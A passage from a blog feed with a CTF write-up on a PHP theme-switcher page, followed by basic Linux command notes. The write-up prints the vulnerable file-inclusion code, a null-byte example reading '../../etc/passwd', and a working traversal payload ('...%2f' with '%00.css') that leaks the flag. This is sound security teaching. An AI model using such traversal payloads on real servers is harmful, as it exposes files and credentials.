    <span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css"</span> <span class="na">integrity=</span><span class="s">"sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"</span> <span class="na">crossorigin=</span><span class="s">"anonymous"</span><span class="nt">&gt;</span>

    <span class="nt">&lt;style&gt;</span>
        <span class="cp">&lt;?php</span> <span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$css</span><span class="p">);</span> <span class="cp">?&gt;</span>
    <span class="nt">&lt;/style&gt;</span>

    <span class="c">&lt;!-- Bootstrap JavaScript --&gt;</span>
    <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://code.jquery.com/jquery-3.4.1.slim.min.js"</span> <span class="na">integrity=</span><span class="s">"sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n"</span> <span class="na">crossorigin=</span><span class="s">"anonymous"</span><span class="nt">&gt;&lt;/script&gt;</span>
    <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"</span> <span class="na">integrity=</span><span class="s">"sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"</span> <span class="na">crossorigin=</span><span class="s">"anonymous"</span><span class="nt">&gt;&lt;/script&gt;</span>
    <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"</span> <span class="na">integrity=</span><span class="s">"sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6"</span> <span class="na">crossorigin=</span><span class="s">"anonymous"</span><span class="nt">&gt;&lt;/script&gt;</span>
  <span class="nt">&lt;/head&gt;</span>

  <span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"text-center my-3"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;h1&gt;</span>Selettore di tema: Light <span class="err">&amp;</span> Dark<span class="nt">&lt;/h1&gt;</span>
        <span class="nt">&lt;p</span> <span class="na">class=</span><span class="s">"pt-3"</span> <span class="na">style=</span><span class="s">"font-size:23;"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;i&gt;</span>Hai mai sognato di poter cambiare il tema con un semplice click? Finalmente puoi!<span class="nt">&lt;/i&gt;</span>
        <span class="nt">&lt;/p&gt;</span>
    <span class="nt">&lt;/div&gt;</span>

    <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"row mt-5 w-100"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"col-2 col-md-4"</span><span class="nt">&gt;</span> <span class="nt">&lt;/div&gt;</span>
        <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"col text-center"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;button</span> <span class="na">class=</span><span class="s">"p-2"</span> <span class="na">onclick=</span><span class="s">"window.location.href='index.php?tema=light.css'"</span><span class="nt">&gt;</span>Tema chiaro<span class="nt">&lt;/button&gt;</span>
        <span class="nt">&lt;/div&gt;</span>
        <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"col text-center"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;button</span> <span class="na">class=</span><span class="s">"p-2"</span> <span class="na">onclick=</span><span class="s">"window.location.href='index.php?tema=dark.css'"</span><span class="nt">&gt;</span>Tema scuro<span class="nt">&lt;/button&gt;</span>
        <span class="nt">&lt;/div&gt;</span>
        <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"col-2 col-md-4"</span><span class="nt">&gt;</span> <span class="nt">&lt;/div&gt;</span>
    <span class="nt">&lt;/div&gt;</span>

    <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"error mt-5 text-center"</span><span class="nt">&gt;</span>
        <span class="cp">&lt;?php</span> <span class="k">if</span><span class="p">(</span><span class="nv">$error</span><span class="p">)</span> <span class="k">echo</span> <span class="s2">"&lt;img src='static/img/zeb.jpg' style='width: 50vw;'/&gt;"</span><span class="p">;</span> <span class="cp">?&gt;</span>
    <span class="nt">&lt;/div&gt;</span>

  <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>

</code></pre></div></div>

<h2 id="code-breakdown">code breakdown</h2>

<p>this page takes a GET request with the name of the stylesheet so you can choose from dark and light mode.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"tema"</span><span class="p">]))</span> <span class="nv">$path</span> <span class="o">=</span> <span class="s2">"light.css"</span><span class="p">;</span>  <span class="c1">// Default</span>
<span class="k">else</span> <span class="p">{</span>
    <span class="nv">$path</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"tema"</span><span class="p">];</span>
    
</code></pre></div></div>

<h3 id="the-filters">The Filters</h3>

<p>here is the interesting part, we found two filters and we can assume that they prevent a <strong>Path Traversal Vulnerabilty</strong></p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s2">"/..\//"</span><span class="p">,</span> <span class="nv">$path</span><span class="p">))</span> <span class="p">{</span> 
        <span class="nv">$path</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'../'</span><span class="p">,</span> <span class="s1">'./'</span> <span class="p">,</span> <span class="nv">$path</span><span class="p">);</span> <span class="c1">//changes ../ to ./</span>
        <span class="nv">$error</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
        <span class="nv">$arr</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">"."</span><span class="p">,</span> <span class="nv">$path</span><span class="p">);</span>
        <span class="nv">$estensione</span> <span class="o">=</span> <span class="nv">$arr</span><span class="p">[</span><span class="nb">count</span><span class="p">(</span><span class="nv">$arr</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>   

        <span class="k">if</span><span class="p">(</span><span class="nv">$estensione</span> <span class="o">!=</span> <span class="s2">"css"</span><span class="p">){</span>  <span class="c1">//checks if the file extension is .css</span>
            <span class="nv">$error</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
            <span class="nv">$path</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$path</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"css"</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    
</code></pre></div></div>
<hr />
<h1 id="lets-hack">Let’s Hack!</h1>

<h2 id="hacking-the-filters">Hacking the filters</h2>
<p>so now we need to find somewhere a flag.txt file… let’s try to find a wokaround to <strong>The Filters</strong></p>

<h3 id="first-filter---the-regex">First Filter - the regex</h3>

<p>The regex in the if statment detects every <code class="language-plaintext highlighter-rouge">..</code>, <code class="language-plaintext highlighter-rouge">/</code>, <code class="language-plaintext highlighter-rouge">\</code> and <code class="language-plaintext highlighter-rouge">../</code> characters, then it replace every <code class="language-plaintext highlighter-rouge">../</code> with <code class="language-plaintext highlighter-rouge">./</code>.<br /><br />
We need to encode our payload to fool the parser, we can try with <strong>%2f</strong>, the url uncoded version of <code class="language-plaintext highlighter-rouge">/</code>. <br /><br />For the “..” part we need to be more creative… <br /><br />yeah that’s it! Wait you didn’t get it? it’s literally <code class="language-plaintext highlighter-rouge">...</code>    :0<br /><br /><br /></p>

<p>Let’s try if it works! I’ll run a local test with some  <code class="language-plaintext highlighter-rouge">php echo();</code></p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="nv">$path</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"tema"</span><span class="p">];</span>
    <span class="k">echo</span><span class="p">(</span><span class="s1">'payload:  '</span><span class="mf">.</span><span class="nv">$path</span><span class="p">);</span>


    <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s2">"/..\//"</span><span class="p">,</span> <span class="nv">$path</span><span class="p">))</span> <span class="p">{</span> 
            <span class="nv">$path</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'../'</span><span class="p">,</span> <span class="s1">'./'</span> <span class="p">,</span> <span class="nv">$path</span><span class="p">);</span> <span class="c1">//changes ../ to ./</span>
            <span class="nv">$error</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>

            <span class="k">echo</span><span class="p">(</span><span class="s2">"after regex:  "</span> <span class="mf">.</span> <span class="nv">$path</span><span class="p">);</span>

            <span class="nv">$arr</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">"."</span><span class="p">,</span> <span class="nv">$path</span><span class="p">);</span>
            <span class="nv">$estensione</span> <span class="o">=</span> <span class="nv">$arr</span><span class="p">[</span><span class="nb">count</span><span class="p">(</span><span class="nv">$arr</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>   

            <span class="k">if</span><span class="p">(</span><span class="nv">$estensione</span> <span class="o">!=</span> <span class="s2">"css"</span><span class="p">){</span>  <span class="c1">//checks if the file extension is .css</span>
                <span class="nv">$error</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
                <span class="nv">$path</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$path</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"css"</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>

<span class="cm">/*

    Input:
        ...%2f...%2fflag
    Output:
        payload: .../.../flag
        after regex:   ../../flag
*/</span>

</code></pre></div></div>

<h2 id="it-works">it works!</h2>

<h2 id="second-filter">Second Filter</h2>
<p>Ok so, now we have to change our file extension to .css if we want to pass this filter… or we have to?<br /><br />
We get a little hint in the description: <strong><em>P.s. PHP version 4</em></strong>… PHP 4 has a huge hole in it, the <strong>Null Byte Injection</strong>
<br /><br />
Here’s an example:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="cp">&lt;?php</span>
    <span class="nv">$file</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'file'</span><span class="p">];</span> <span class="c1">// "../../etc/passwd%00"</span>
    <span class="k">if</span> <span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="s1">'/home/wwwrun/'</span><span class="mf">.</span><span class="nv">$file</span><span class="mf">.</span><span class="s1">'.php'</span><span class="p">))</span> <span class="p">{</span>
        <span class="c1">// file_exists will return true as the file /home/wwwrun/../../etc/passwd exists</span>
        <span class="k">include</span> <span class="s1">'/home/wwwrun/'</span><span class="mf">.</span><span class="nv">$file</span><span class="mf">.</span><span class="s1">'.php'</span><span class="p">;</span>
        <span class="c1">// the file /etc/passwd will be included</span>
    <span class="p">}</span>
<span class="cp">?&gt;</span>
</code></pre></div></div>
<p>You can find this example and why it works <a href="https://www.php.net/manual/en/security.filesystem.nullbytes.php">here</a><br /><br /></p>

<p>Now Let’s try a payload in our local test environment:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="nv">$path</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"tema"</span><span class="p">];</span>
    <span class="k">echo</span><span class="p">(</span><span class="s1">'payload:  '</span><span class="mf">.</span><span class="nv">$path</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s2">"/..\//"</span><span class="p">,</span> <span class="nv">$path</span><span class="p">))</span> <span class="p">{</span> 
        <span class="nv">$path</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'../'</span><span class="p">,</span> <span class="s1">'./'</span> <span class="p">,</span> <span class="nv">$path</span><span class="p">);</span>
        <span class="nv">$error</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
        
        <span class="k">echo</span><span class="p">(</span><span class="s2">"after regex:  "</span> <span class="mf">.</span> <span class="nv">$path</span><span class="p">);</span>

        <span class="nv">$arr</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">"."</span><span class="p">,</span> <span class="nv">$path</span><span class="p">);</span>
        <span class="nv">$estensione</span> <span class="o">=</span> <span class="nv">$arr</span><span class="p">[</span><span class="nb">count</span><span class="p">(</span><span class="nv">$arr</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>

        <span class="k">if</span><span class="p">(</span><span class="nv">$estensione</span> <span class="o">!=</span> <span class="s2">"css"</span><span class="p">){</span>
            <span class="nv">$error</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
            <span class="nv">$path</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$path</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"css"</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nv">$css</span> <span class="o">=</span> <span class="s2">"static/css/"</span> <span class="mf">.</span> <span class="nv">$path</span><span class="p">;</span>
<span class="k">echo</span><span class="p">(</span><span class="s1">'final path:  '</span> <span class="mf">.</span> <span class="nv">$css</span><span class="p">);</span>

<span class="cm">/*

    Input:
        ...%2f...%2fflag.txt%00.css
    Output:
        payload: .../.../flag
        after regex:   ../../flag
        final path:  static/css/../../flag.txt.css 
*/</span>

</code></pre></div></div>

<p>Now let’s combine all and try it on the server with some random <code class="language-plaintext highlighter-rouge">../</code><br /><br /></p>

<p>payload: <code class="language-plaintext highlighter-rouge">...%2f...%2f...%2f...%2f...%2fflag.txt%00.css</code><br /><br /></p>

<p>Response:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">HTTP</span><span class="o">/</span><span class="mf">1.1</span> <span class="mi">200</span> <span class="no">OK</span>
<span class="nc">Cache</span><span class="o">-</span><span class="nc">Control</span><span class="o">:</span> <span class="n">no</span><span class="o">-</span><span class="n">store</span><span class="p">,</span> <span class="n">no</span><span class="o">-</span><span class="n">cache</span><span class="p">,</span> <span class="n">must</span><span class="o">-</span><span class="n">revalidate</span><span class="p">,</span> <span class="n">post</span><span class="o">-</span><span class="n">check</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">pre</span><span class="o">-</span><span class="n">check</span><span class="o">=</span><span class="mi">0</span>
<span class="nc">Content</span><span class="o">-</span><span class="nc">Length</span><span class="o">:</span> <span class="mi">1927</span>
<span class="nc">Content</span><span class="o">-</span><span class="nc">Type</span><span class="o">:</span> <span class="n">text</span><span class="o">/</span><span class="n">html</span>
<span class="nc">Date</span><span class="o">:</span> <span class="nc">Wed</span><span class="p">,</span> <span class="mi">09</span> <span class="nc">Mar</span> <span class="mi">2022</span> <span class="mi">16</span><span class="o">:</span><span class="mi">46</span><span class="o">:</span><span class="mi">19</span> <span class="no">GMT</span>
<span class="nc">Expires</span><span class="o">:</span> <span class="nc">Thu</span><span class="p">,</span> <span class="mi">19</span> <span class="nc">Nov</span> <span class="mi">1981</span> <span class="mi">08</span><span class="o">:</span><span class="mi">52</span><span class="o">:</span><span class="mo">00</span> <span class="no">GMT</span>
<span class="nc">Pragma</span><span class="o">:</span> <span class="n">no</span><span class="o">-</span><span class="n">cache</span>
<span class="nc">Server</span><span class="o">:</span> <span class="nc">Apache</span><span class="o">/</span><span class="mf">2.2.22</span> <span class="p">(</span><span class="nc">Ubuntu</span><span class="p">)</span>
<span class="nc">Vary</span><span class="o">:</span> <span class="nc">Accept</span><span class="o">-</span><span class="nc">Encoding</span>
<span class="nc">X</span><span class="o">-</span><span class="nc">Powered</span><span class="o">-</span><span class="nc">By</span><span class="o">:</span> <span class="no">PHP</span><span class="o">/</span><span class="mf">4.4.0</span>
<span class="nc">Connection</span><span class="o">:</span> <span class="n">close</span>



<span class="o">&lt;</span><span class="n">html</span><span class="o">&gt;</span>
  <span class="o">&lt;</span><span class="n">head</span><span class="o">&gt;</span>
    <span class="o">&lt;</span><span class="n">meta</span> <span class="n">charset</span><span class="o">=</span><span class="s2">"utf-8"</span><span class="o">&gt;</span>
    <span class="o">&lt;</span><span class="n">meta</span> <span class="n">name</span><span class="o">=</span><span class="s2">"viewport"</span> <span class="n">content</span><span class="o">=</span><span class="s2">"width=device-width, initial-scale=1, shrink-to-fit=no"</span><span class="o">&gt;</span>
    <span class="o">&lt;</span><span class="n">title</span><span class="o">&gt;</span><span class="nc">L</span><span class="o">/</span><span class="nc">D</span><span class="o">&lt;/</span><span class="n">title</span><span class="o">&gt;</span>

    <span class="o">&lt;!--</span> <span class="nc">Bootstrap</span> <span class="no">CSS</span> <span class="o">--&gt;</span>
    <span class="o">&lt;</span><span class="n">link</span> <span class="n">rel</span><span class="o">=</span><span class="s2">"stylesheet"</span> <span class="n">href</span><span class="o">=</span><span class="s2">"https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css"</span> <span class="n">integrity</span><span class="o">=</span><span class="s2">"sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"</span> <span class="n">crossorigin</span><span class="o">=</span><span class="s2">"anonymous"</span><span class="o">&gt;</span>

    <span class="o">&lt;</span><span class="n">style</span><span class="o">&gt;</span>
        <span class="n">flag</span><span class="p">{</span><span class="n">l1ght_1s_f0r_n00bs_d4rk_1s_f0r_h4ck3rs</span><span class="p">}</span>    <span class="o">&lt;/</span><span class="n">style</span><span class="o">&gt;</span>

    <span class="o">&lt;!--</span> <span class="nc">Bootstrap</span> <span class="nc">JavaScript</span> <span class="o">--&gt;</span>
    <span class="o">&lt;</span><span class="n">script</span> <span class="n">src</span><span class="o">=</span><span class="s2">"https://code.jquery.com/jquery-3.4.1.slim.min.js"</span> <span class="n">integrity</span><span class="o">=</span><span class="s2">"sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n"</span> <span class="n">crossorigin</span><span class="o">=</span><span class="s2">"anonymous"</span><span class="o">&gt;&lt;/</span><span class="n">script</span><span class="o">&gt;</span>
    <span class="o">&lt;</span><span class="n">script</span> <span class="n">src</span><span class="o">=</span><span class="s2">"https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"</span> <span class="n">integrity</span><span class="o">=</span><span class="s2">"sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"</span> <span class="n">crossorigin</span><span class="o">=</span><span class="s2">"anonymous"</span><span class="o">&gt;&lt;/</span><span class="n">script</span><span class="o">&gt;</span>
    <span class="o">&lt;</span><span class="n">script</span> <span class="n">src</span><span class="o">=</span><span class="s2">"https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"</span> <span class="n">integrity</span><span class="o">=</span><span class="s2">"sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6"</span> <span class="n">crossorigin</span><span class="o">=</span><span class="s2">"anonymous"</span><span class="o">&gt;&lt;/</span><span class="n">script</span><span class="o">&gt;</span>
  <span class="o">&lt;/</span><span class="n">head</span><span class="o">&gt;</span>

  <span class="o">&lt;</span><span class="n">body</span><span class="o">&gt;</span>
    <span class="o">&lt;</span><span class="n">div</span> <span class="n">class</span><span class="o">=</span><span class="s2">"text-center my-3"</span><span class="o">&gt;</span>
        <span class="o">&lt;</span><span class="n">h1</span><span class="o">&gt;</span><span class="nc">Selettore</span> <span class="n">di</span> <span class="n">tema</span><span class="o">:</span> <span class="nc">Light</span> <span class="o">&amp;</span> <span class="nc">Dark</span><span class="o">&lt;/</span><span class="n">h1</span><span class="o">&gt;</span>
        <span class="o">&lt;</span><span class="n">p</span> <span class="n">class</span><span class="o">=</span><span class="s2">"pt-3"</span> <span class="n">style</span><span class="o">=</span><span class="s2">"font-size:23;"</span><span class="o">&gt;</span>
            <span class="o">&lt;</span><span class="n">i</span><span class="o">&gt;</span><span class="nc">Hai</span> <span class="n">mai</span> <span class="n">sognato</span> <span class="n">di</span> <span class="n">poter</span> <span class="n">cambiare</span> <span class="n">il</span> <span class="n">tema</span> <span class="n">con</span> <span class="n">un</span> <span class="n">semplice</span> <span class="n">click</span><span class="o">?</span> <span class="nc">Finalmente</span> <span class="n">puoi</span><span class="o">!&lt;/</span><span class="n">i</span><span class="o">&gt;</span>
        <span class="o">&lt;/</span><span class="n">p</span><span class="o">&gt;</span>
    <span class="o">&lt;/</span><span class="n">div</span><span class="o">&gt;</span>

    <span class="o">&lt;</span><span class="n">div</span> <span class="n">class</span><span class="o">=</span><span class="s2">"row mt-5 w-100"</span><span class="o">&gt;</span>
        <span class="o">&lt;</span><span class="n">div</span> <span class="n">class</span><span class="o">=</span><span class="s2">"col-2 col-md-4"</span><span class="o">&gt;</span> <span class="o">&lt;/</span><span class="n">div</span><span class="o">&gt;</span>
        <span class="o">&lt;</span><span class="n">div</span> <span class="n">class</span><span class="o">=</span><span class="s2">"col text-center"</span><span class="o">&gt;</span>
            <span class="o">&lt;</span><span class="n">button</span> <span class="n">class</span><span class="o">=</span><span class="s2">"p-2"</span> <span class="n">onclick</span><span class="o">=</span><span class="s2">"window.location.href='index.php?tema=light.css'"</span><span class="o">&gt;</span><span class="nc">Tema</span> <span class="n">chiaro</span><span class="o">&lt;/</span><span class="n">button</span><span class="o">&gt;</span>
        <span class="o">&lt;/</span><span class="n">div</span><span class="o">&gt;</span>
        <span class="o">&lt;</span><span class="n">div</span> <span class="n">class</span><span class="o">=</span><span class="s2">"col text-center"</span><span class="o">&gt;</span>
            <span class="o">&lt;</span><span class="n">button</span> <span class="n">class</span><span class="o">=</span><span class="s2">"p-2"</span> <span class="n">onclick</span><span class="o">=</span><span class="s2">"window.location.href='index.php?tema=dark.css'"</span><span class="o">&gt;</span><span class="nc">Tema</span> <span class="n">scuro</span><span class="o">&lt;/</span><span class="n">button</span><span class="o">&gt;</span>
        <span class="o">&lt;/</span><span class="n">div</span><span class="o">&gt;</span>
        <span class="o">&lt;</span><span class="n">div</span> <span class="n">class</span><span class="o">=</span><span class="s2">"col-2 col-md-4"</span><span class="o">&gt;</span> <span class="o">&lt;/</span><span class="n">div</span><span class="o">&gt;</span>
    <span class="o">&lt;/</span><span class="n">div</span><span class="o">&gt;</span>

    <span class="o">&lt;</span><span class="n">div</span> <span class="n">class</span><span class="o">=</span><span class="s2">"error mt-5 text-center"</span><span class="o">&gt;</span>
            <span class="o">&lt;/</span><span class="n">div</span><span class="o">&gt;</span>

  <span class="o">&lt;/</span><span class="n">body</span><span class="o">&gt;</span>
<span class="o">&lt;/</span><span class="n">html</span><span class="o">&gt;</span>
</code></pre></div></div>

<h2 id="ha-ha-u-fool-it-works">ha ha u fool! it works!</h2>
<p><br /><br /></p>

<center>
<img src="https://i.redd.it/8kee97gbycw11.png" />
</center>]]></content><author><name>Perf</name></author><category term="hacking" /><category term="hacking" /><category term="path traversal" /><category term="CTF" /><category term="challenge" /><category term="LFI" /><category term="RFI" /><summary type="html"><![CDATA[In this article I will show you a basic “path traversal” vulnerability I’ve found in a CTF challenge.]]></summary></entry><entry><title type="html">Linux basics for hackers</title><link href="https://mattiaperfumo.it/chapter-1/" rel="alternate" type="text/html" title="Linux basics for hackers" /><published>2022-02-22T16:16:58+00:00</published><updated>2022-02-22T16:16:58+00:00</updated><id>https://mattiaperfumo.it/chapter-1</id><content type="html" xml:base="https://mattiaperfumo.it/chapter-1/"><![CDATA[<p>In this article i will introduce you the book “linux basics for hackers”. I will not dug deeper and just copy-paste this amazing book, I’ll use this as a way to memorize better the concepts and core arguments.</p>

<h2 id="important-therms">Important therms</h2>

<ul>
  <li><strong>Binaries</strong>: this term refers to file that can be executed, like windows .exe files. They generally reside in the <em>usr/bin</em> or <em>user/sbin</em>  folders (examples: ps, cat, ls, ifconfig, google…).</li>
  <li><strong>Linux is case sensitive</strong>: <em>desktop</em> is different from <em>Desktop</em></li>
  <li><strong>Home</strong>: Every user has a home directory</li>
  <li><strong>Root</strong>: administrator privileges</li>
  <li><strong>Shell</strong>: an environment and interpreter for running commands on linux. The most used is called <em>bash</em></li>
</ul>

<hr />
<h2 id="linux-filesystem">Linux Filesystem</h2>
<center>
<img src="/assets/filesystem.jpeg" />
</center>

<p>the Linux filesystem is structured as if it were an upside down tree, the top is called <em>root</em> (/): here are some of the most important:</p>
<ul>
  <li><strong>/root</strong>: home dir of root user</li>
  <li><strong>/etc</strong>:  it generally contains Linux config files</li>
  <li><strong>/home</strong>: user home directory</li>
  <li><strong>/mnt</strong>: where other filesystem are connected or mounted</li>
  <li><strong>/media</strong>: where CD and USB are mounted into the filesystem</li>
  <li><strong>/bin</strong>: where binaries reside</li>
  <li><strong>/lib</strong>: where I’ll find libraries (shared programs that are similar to windows DDLs)</li>
</ul>

<h2 id="basic-commands">basic commands</h2>
<ul>
  <li>pwd: (<em>print working directory</em>)</li>
  <li>whoami</li>
  <li>cd</li>
  <li>ls</li>
  <li>man (<em>command info</em>)</li>
  <li>locate (<em>file location</em>)</li>
  <li>whereis (<em>find a binary</em>)</li>
  <li>which (<em>shows search result query from PATH variable</em>)</li>
  <li>find (<em>the most powerful for searching, You can do a deeper scan with other parameters like creation date</em>)</li>
  <li>grep (<em>can be used as a filter to search for keywords</em>)</li>
  <li>ps (<em>used to find and display info about running processes</em>)</li>
</ul>

<h2 id="modifying-files-and-directories">Modifying files and directories</h2>

<ul>
  <li>cat (<em>generally used for dispaying the contents of a file but it can olso create a file</em>)</li>
  <li>touch (<em>edit or create a file</em>)</li>
  <li>mkdir (<em>create a directory</em>)</li>
  <li>cp oldfile   /root/folder/newfile   (<em>copy a file in a new destination</em>)</li>
  <li>mv filename  filename2 (<em>move command as the same concept as cp, it can also rename a file</em>)</li>
  <li>rm (<em>remove a file</em>)</li>
  <li>rmdir (<em>remove a directory</em>)</li>
</ul>

<hr />
<h3 id="redirect-character-">redirect character (&gt;)</h3>
<p>file creation with <em>cat</em> example:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> helloworld.txt
<span class="c">#interacrive mode: "hello"</span>
</code></pre></div></div>
<p>when you press enter, Linux will go in <em>interactive mode</em>, you can now write content to that file. To exit just press <em>ctrl-d</em></p>

<h3 id="append-character-">append character (»)</h3>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;&gt;</span> helloworld.txt
<span class="c">#interactive mode: " world!"</span>
</code></pre></div></div>
<p>You’ll be prompted to the interactive mode again</p>

<h3 id="final-result">final result</h3>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>helloworld.txt
hello world!
</code></pre></div></div>

<p>for overwriting you can use again the  “&gt;” character</p>

<hr />]]></content><author><name>Perf</name></author><category term="linux" /><category term="hacking" /><category term="book" /><category term="linux" /><category term="commands" /><summary type="html"><![CDATA[In this article i will introduce you the book “linux basics for hackers”. I will not dug deeper and just copy-paste this amazing book, I’ll use this as a way to memorize better the concepts and core arguments.]]></summary></entry></feed>